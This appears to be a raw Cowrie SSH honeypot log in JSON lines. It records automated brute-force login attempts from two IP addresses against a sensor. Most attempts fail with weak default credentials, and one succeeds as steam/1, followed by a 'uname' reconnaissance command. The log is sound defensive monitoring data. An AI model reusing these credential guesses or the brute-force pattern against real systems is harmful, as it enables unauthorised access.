{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:32.282063Z","src_ip":"45.156.87.147","session":"513728a54d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48342,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ed3734530ed","protocol":"ssh","message":"New connection: 91.92.42.227:48342 (10.17.0.5:22) [session: 5ed3734530ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:33.420695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:33.424673Z","src_ip":"91.92.42.227","session":"5ed3734530ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:33.528221Z","src_ip":"91.92.42.227","session":"5ed3734530ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:33.876382Z","src_ip":"91.92.42.227","session":"5ed3734530ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:35.390494Z","src_ip":"91.92.42.227","session":"5ed3734530ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57026,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4075db38e78","protocol":"ssh","message":"New connection: 45.156.87.147:57026 (10.17.0.5:22) [session: f4075db38e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:36.926586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:36.930892Z","src_ip":"45.156.87.147","session":"f4075db38e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:37.016084Z","src_ip":"45.156.87.147","session":"f4075db38e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:37.425785Z","src_ip":"45.156.87.147","session":"f4075db38e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:38.511357Z","src_ip":"45.156.87.147","session":"f4075db38e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42066,"dst_ip":"10.17.0.5","dst_port":22,"session":"e05d3b6d7f46","protocol":"ssh","message":"New connection: 91.92.42.227:42066 (10.17.0.5:22) [session: e05d3b6d7f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:40.206816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:40.375204Z","src_ip":"91.92.42.227","session":"e05d3b6d7f46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:40.378534Z","src_ip":"91.92.42.227","session":"e05d3b6d7f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:41.457625Z","src_ip":"91.92.42.227","session":"e05d3b6d7f46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:42.862019Z","src_ip":"91.92.42.227","session":"e05d3b6d7f46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56808,"dst_ip":"10.17.0.5","dst_port":22,"session":"216da6bad551","protocol":"ssh","message":"New connection: 45.156.87.147:56808 (10.17.0.5:22) [session: 216da6bad551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:43.324609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:43.330861Z","src_ip":"45.156.87.147","session":"216da6bad551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:43.416624Z","src_ip":"45.156.87.147","session":"216da6bad551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:43.678648Z","src_ip":"45.156.87.147","session":"216da6bad551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:44.766034Z","src_ip":"45.156.87.147","session":"216da6bad551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49790,"dst_ip":"10.17.0.5","dst_port":22,"session":"8400db49a073","protocol":"ssh","message":"New connection: 91.92.42.227:49790 (10.17.0.5:22) [session: 8400db49a073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:46.319767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:46.834700Z","src_ip":"91.92.42.227","session":"8400db49a073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:46.837675Z","src_ip":"91.92.42.227","session":"8400db49a073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57338,"dst_ip":"10.17.0.5","dst_port":22,"session":"e684c05a539d","protocol":"ssh","message":"New connection: 45.156.87.147:57338 (10.17.0.5:22) [session: e684c05a539d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:49.602616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:49.606636Z","src_ip":"45.156.87.147","session":"e684c05a539d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:49.695147Z","src_ip":"45.156.87.147","session":"e684c05a539d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"12345","message":"login attempt [system/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:49.728215Z","src_ip":"91.92.42.227","session":"8400db49a073","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:49.947326Z","src_ip":"45.156.87.147","session":"e684c05a539d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:50.151467Z","src_ip":"45.156.87.147","session":"e684c05a539d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:50.153857Z","src_ip":"45.156.87.147","session":"e684c05a539d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:50.237893Z","src_ip":"45.156.87.147","session":"e684c05a539d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:50.242651Z","src_ip":"45.156.87.147","session":"e684c05a539d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:51.193971Z","src_ip":"91.92.42.227","session":"8400db49a073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49846,"dst_ip":"10.17.0.5","dst_port":22,"session":"d82d8456dbfc","protocol":"ssh","message":"New connection: 91.92.42.227:49846 (10.17.0.5:22) [session: d82d8456dbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:53.972018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:54.352965Z","src_ip":"91.92.42.227","session":"d82d8456dbfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:54.374964Z","src_ip":"91.92.42.227","session":"d82d8456dbfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57352,"dst_ip":"10.17.0.5","dst_port":22,"session":"200070bfdda3","protocol":"ssh","message":"New connection: 45.156.87.147:57352 (10.17.0.5:22) [session: 200070bfdda3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:55.683846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:55.690340Z","src_ip":"45.156.87.147","session":"200070bfdda3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:55.774129Z","src_ip":"45.156.87.147","session":"200070bfdda3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trade","password":"123456","message":"login attempt [trade/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:56.083131Z","src_ip":"45.156.87.147","session":"200070bfdda3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:56.400683Z","src_ip":"91.92.42.227","session":"d82d8456dbfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:57.167521Z","src_ip":"45.156.87.147","session":"200070bfdda3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:57.787120Z","src_ip":"91.92.42.227","session":"d82d8456dbfc","protocol":"ssh"}
